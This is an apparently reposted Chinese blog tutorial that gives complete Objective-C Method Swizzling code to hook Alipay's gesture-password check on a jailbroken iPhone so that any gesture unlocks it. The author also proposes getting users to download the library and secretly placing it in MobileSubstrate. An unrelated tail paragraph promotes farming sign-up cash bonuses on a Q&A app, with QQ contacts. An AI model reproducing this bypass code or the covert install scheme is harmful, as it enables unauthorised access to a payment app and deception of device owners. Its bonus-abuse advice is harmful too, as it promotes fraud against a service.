本文将继续深入hack实战,hook支付宝手势密码校验操作,欺骗其通过任意手势输入。
那么到现在为止,我们已经掌握了什么信息呢?
1)一个名叫 GestureUnlockViewController 的类,含有 gestureInputView:didFinishWithPassword: 方法,来处理输入的手势
2)正确的手势密码通过一个名叫 GestureUtil 的类读取,方法是 getPassword
思路马上清晰了,我们需要做2步:
1)hook getPassword 存下正确的密码
2)hook gestureInputView:didFinishWithPassword: 替换当前输入为正确的密码
一个关键点,我们是用 Method Swizzling来hook,那么就意味操作不能过早,因为我们要保证在取到 GestureUnlockViewController 和 GestureUtil class后,才能进行imp替换。
所以, 我采用NSNotificationCenter通知机制协助完成任务。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
#import <objc/runtime.h>
#import <UIKit/UIKit.h>
IMP ori_getPasswd_IMP = NULL;
IMP ori_gesture_IMP = NULL;
@interface NSObject (HackPortal)
@end
@implementation NSObject (HackPortal)
+ (id)getPassword
{
NSString *passwd = ori_getPasswd_IMP(self, @selector(getPassword));
return passwd;
}
- (void)gestureInputView:(id)view didFinishWithPassword:(id)password
{
password = ori_getPasswd_IMP(self, @selector(getPassword));
ori_gesture_IMP(self, @selector(gestureInputView:didFinishWithPassword:), view, password);
}
@end
@implementation PortalListener
- (id)init
{
self = [super init];
if (self) {
[[NSNotificationCenter defaultCenter]addObserver:self
selector:@selector(appLaunched:)
name:UIApplicationDidBecomeActiveNotification
object:nil];
}
return self;
}
- (void)appLaunched:(NSNotification *)notification
{
Class class_GestureUtil = NSClassFromString(@"GestureUtil");
Class class_PortalListener = NSClassFromString(@"PortalListener");
Method ori_Method = class_getClassMethod(class_GestureUtil, @selector(getPassword));
ori_getPasswd_IMP = method_getImplementation(ori_Method);
Method my_Method = class_getClassMethod(class_PortalListener, @selector(getPassword));
method_exchangeImplementations(ori_Method, my_Method);
Class class_Gesture = NSClassFromString(@"GestureUnlockViewController");
Method ori_Method1 = class_getInstanceMethod(class_Gesture,
@selector(gestureInputView:didFinishWithPassword:));
ori_gesture_IMP = method_getImplementation(ori_Method1);
Method my_Method1 = class_getInstanceMethod(class_PortalListener,
@selector(gestureInputView:didFinishWithPassword:));
method_exchangeImplementations(ori_Method1, my_Method1);
}
-(void)dealloc
{
[[NSNotificationCenter defaultCenter]removeObserver:self];
}
@end
static void __attribute__((constructor)) initialize(void)
{
static PortalListener *entrance;
entrance = [[PortalListener alloc]init];
}
|
OK!编译好动态库,塞进iPhone试试效果吧~
不管我们输入什么手势,都会被替换为正确的密码去给gestureInputView:didFinishWithPassword:验证,然后顺利解锁。
这意味着什么呢?意味着,我们可以通过正规的渠道让用户下载这个动态库,然后悄悄放进越狱的 iPhone的 /Library/MobileSubstrate/DynamicLibraries/ 目录下……然后……然后去给妹纸帅锅变魔术吧:“你看,我和你多心有灵犀,你改什么密码我都猜的到!”
前两天在一群里看见有人推荐一个app叫问啊,就可以发题答题那种的,感觉就跟uber滴滴打车似的,一般这种软件一上来就砸钱给红包啥的,哥之前刷过uber的单有经验!试验了几次应该可以刷,把注册红包和之前领的红包钱套现,目前我提了五十多,目测还能刷更多。ps,但是尽量要问技术相关的问题,不然容易被封。
有技术的可以自己试,不会的可以q我315414695:QQ群290551701 聚集很多互联网精英,技术总监,架构师,项目经理!开源技术研究,欢迎业内人士,大牛及新手有志于从事IT行业人员进入!
原文:http://www.cnblogs.com/fengliucaizi/p/5018905.html